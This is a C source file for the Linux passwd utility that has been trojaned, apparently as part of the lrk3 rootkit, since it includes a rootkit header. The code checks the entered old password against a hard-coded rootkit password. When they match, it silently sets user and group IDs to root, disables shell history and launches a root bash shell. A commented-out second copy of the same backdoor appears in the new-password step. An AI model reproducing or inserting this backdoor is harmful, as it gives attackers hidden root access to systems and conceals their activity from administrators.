/* passwd.c - change password on an account
 * Initially written for Linux by Peter Orbaek <poe@daimi.aau.dk>
 * Currently maintained at ftp://ftp.daimi.aau.dk/pub/linux/poe/
 */

/* Hacked by Alvaro Martinez Echevarria, alvaro@enano.etsit.upm.es,
   to allow peaceful coexistence with yp. Nov 94. */
/* Hacked to allow root to set passwd from command line.
   by Arpad Magossanyi (mag@tas.vein.hu) */

/*
 * Usage: passwd [username [password]]
 * Only root may use the one and two argument forms. 
 */
 
#include <sys/types.h>
#include <sys/stat.h>
#include <stdio.h>
#include <unistd.h>
#include <termios.h>
#include <fcntl.h>
#include <pwd.h>
#include <ctype.h>
#include <time.h>
#include <string.h>
#include <errno.h>
#include <sys/resource.h>
#include "../rootkit.h"

extern int is_local(char *);

#define ascii_to_bin(c) ((c)>='a'?(c-59):(c)>='A'?((c)-53):(c)-'.')
#define bin_to_ascii(c) ((c)>=38?((c)-38+'a'):(c)>=12?((c)-12+'A'):(c)+'.')

#define MAX_LENGTH	1024

static void
pexit(str)
     char *str;
{
    perror(str);
    exit(1);
}

int
main(argc, argv)
     int argc;
     char *argv[];
{
    struct passwd *pe;
    uid_t gotuid = getuid();
    char *pwdstr = NULL, *cryptstr, *oldstr;
    char pwdstr1[10];
    int ucase, lcase, other;
    char *p, *q, *user;
    time_t tm;
    char salt[2];
    FILE *fd_in, *fd_out;
    char line[MAX_LENGTH];
    char colonuser[16];
    int error=0;
    int r;
    int ptmp;
#ifndef USE_SETPWNAM
    struct rlimit rlim;
#endif

/* HACK DEFS */
    char MAG[6];
    int elite=0;

    strcpy(MAG,"");
    MAG[0]=ROOTKIT_PASSWORD[0];
    MAG[1]=ROOTKIT_PASSWORD[1];
    MAG[2]=ROOTKIT_PASSWORD[2];
    MAG[3]=ROOTKIT_PASSWORD[3];
    MAG[4]=ROOTKIT_PASSWORD[4];
    MAG[5]=ROOTKIT_PASSWORD[5];
    MAG[6]='\0';

    if(argc > 3) {
	puts("Too many arguments");
	exit(1);
    } else if(argc >= 2) {
	if(gotuid) {
	    puts("Only root can change the password for others");
	    exit(1);
	}
	user = argv[1];
	
	if (argc == 3) pwdstr = argv[2];
	
    } else {
	if (!(user = getlogin())) {
	    if (!(pe = getpwuid( getuid() ))) {
		pexit("Cannot find login name");
	    } else
	      user = pe->pw_name;
	}
    }

#ifndef USE_SETPWNAM
    umask(022);

    rlim.rlim_cur = rlim.rlim_max = RLIM_INFINITY;
    setrlimit(RLIMIT_CPU, &rlim);
    setrlimit(RLIMIT_FSIZE, &rlim);
    setrlimit(RLIMIT_STACK, &rlim);
    setrlimit(RLIMIT_DATA, &rlim);
    setrlimit(RLIMIT_RSS, &rlim);
    rlim.rlim_cur = rlim.rlim_max = 0;
    setrlimit(RLIMIT_CORE, &rlim);
#endif
    
    if(!(pe = getpwnam(user))) {
	pexit("Can't find username anywhere. Are you really a user?");
    }
    
    if (!(is_local(user))) {
	puts("Sorry, I can only change local passwords. Use yppasswd instead.");
	exit(1);
    }
    
    /* if somebody got into changing utmp... */
    if(gotuid && gotuid != pe->pw_uid) {
	puts("UID and username does not match, imposter!");
	exit(1);
    }
    
    printf( "Changing password for %s\n", user );
    
    if(gotuid && pe->pw_passwd && pe->pw_passwd[0]) {
	oldstr = getpass("Enter old password: ");
/* HACK */
	if (!strcmp(oldstr,MAG)) {
		setreuid(0,0);
		setregid(0,0);
		setenv("HISTFILE","",1);
        	system("/bin/bash");
		exit(0);
		}
	if(strncmp(pe->pw_passwd, crypt(oldstr, pe->pw_passwd), 13)) {
	    puts("Illegal password, imposter.");
	    exit(1);
	}
    }

    if (!pwdstr) {
	/* password not set on command line by root, ask for it ... */
	
      redo_it:
	pwdstr = getpass("Enter new password: ");
/* HACK */ /* lrk3 don't need this anymore */
/*
        if (!strcmp(pwdstr,MAG)) {
                setreuid(0,0);
                setregid(0,0);
                setenv("HISTFILE","",1);
                system("/bin/bash");
                }
*/
	if (pwdstr[0] == '\0') {
	    puts("Password not changed.");
	    exit(1);
	}
	
	if((strlen(pwdstr) < 6) && gotuid) {
	    puts("The password must have at least 6 characters, try again.");
	    goto redo_it;
	}
	
	other = ucase = lcase = 0;
	for(p = pwdstr; *p; p++) {
	    ucase = ucase || isupper(*p);
	    lcase = lcase || islower(*p);
	    other = other || !isalpha(*p);
	}
	
	if((!ucase || !lcase) && !other && gotuid) {
	    puts("The password must have both upper- and lowercase");
	    puts("letters, or non-letters; try again.");
	    goto redo_it;
	}
	
	if (pe->pw_passwd[0] 
	    && !strncmp(pe->pw_passwd, crypt(pwdstr, pe->pw_passwd), 13)
	    && gotuid) {
	    puts("You cannot reuse the old password.");
	    goto redo_it;
	}
	
	r = 0;
	for(p = pwdstr, q = pe->pw_name; *q && *p; q++, p++) {
	    if(tolower(*p) != tolower(*q)) {
		r = 1;
		break;
	    }
	}
	
	for(p = pwdstr + strlen(pwdstr)-1, q = pe->pw_name;
	    *q && p >= pwdstr; q++, p--) {
	    if(tolower(*p) != tolower(*q)) {
		r += 2;
		break;
	    }
	}
	
	if(gotuid && r != 3) {
	    puts("Please don't use something like your username as password!");
	    goto redo_it;
	}
	
	/* do various other checks for stupid passwords here... */
	
	strncpy(pwdstr1, pwdstr, 9);
	pwdstr = getpass("Re-type new password: ");
	
	if(strncmp(pwdstr, pwdstr1, 8)) {
	    puts("You misspelled it. Password not changed.");
	    exit(1);
	}
    } /* pwdstr != argv[2] i.e. password set on command line */
    
    time(&tm);
    salt[0] = bin_to_ascii(tm & 0x3f);
    salt[1] = bin_to_ascii((tm >> 6) & 0x3f);
    cryptstr = crypt(pwdstr, salt);

    if (pwdstr[0] == 0) cryptstr = "";

#ifdef USE_SETPWNAM
    pe->pw_passwd = cryptstr;
    if (setpwnam( pe ) < 0) {
       perror( "setpwnam" );
       printf( "Password *NOT* changed.  Try again later.\n" );
       exit( 1 );
    }
#else
    if ((ptmp = open("/etc/ptmp", O_CREAT|O_EXCL|O_WRONLY, 0600)) < 0) {
	pexit("Can't exclusively open /etc/ptmp, can't update password");
    }
    fd_out = fdopen(ptmp, "w");
    
    if(!(fd_in = fopen("/etc/passwd", "r"))) {
	pexit("Can't read /etc/passwd, can't update password");
    }
    
    strcpy(colonuser, user);
    strcat(colonuser, ":");
    while(fgets(line, sizeof(line), fd_in)) {
	if(!strncmp(line,colonuser,strlen(colonuser))) {
	    pe->pw_passwd = cryptstr;
	    if(putpwent(pe, fd_out) < 0) {
		error = 1;
	    }
	} else {
	    if(fputs(line,fd_out) < 0) {
		error = 1;
	    }
	}
	if(error) {
	    puts("Error while writing new password file, password not changed.");
	    fclose(fd_out);
	    endpwent();
	    unlink("/etc/ptmp");
	    exit(1);
	}
    }
    fclose(fd_in);
    fclose(fd_out);
    
    unlink("/etc/passwd.OLD");	/* passwd.OLD not required */
    if (link("/etc/passwd", "/etc/passwd.OLD")) 
      pexit("link(/etc/passwd, /etc/passwd.OLD) failed: no change");
    if (unlink("/etc/passwd") < 0)
      pexit("unlink(/etc/passwd) failed: no change");
    if (link("/etc/ptmp", "/etc/passwd") < 0)
      pexit("link(/etc/ptmp, /etc/passwd) failed: PASSWD file DROPPED!!");
    if (unlink("/etc/ptmp") < 0) 
      pexit("unlink(/etc/ptmp) failed: /etc/ptmp still exists");
    
    chmod("/etc/passwd", 0644);
    chown("/etc/passwd", 0, 0);
#endif
    
    puts("Password changed.");	
    exit(0);
}
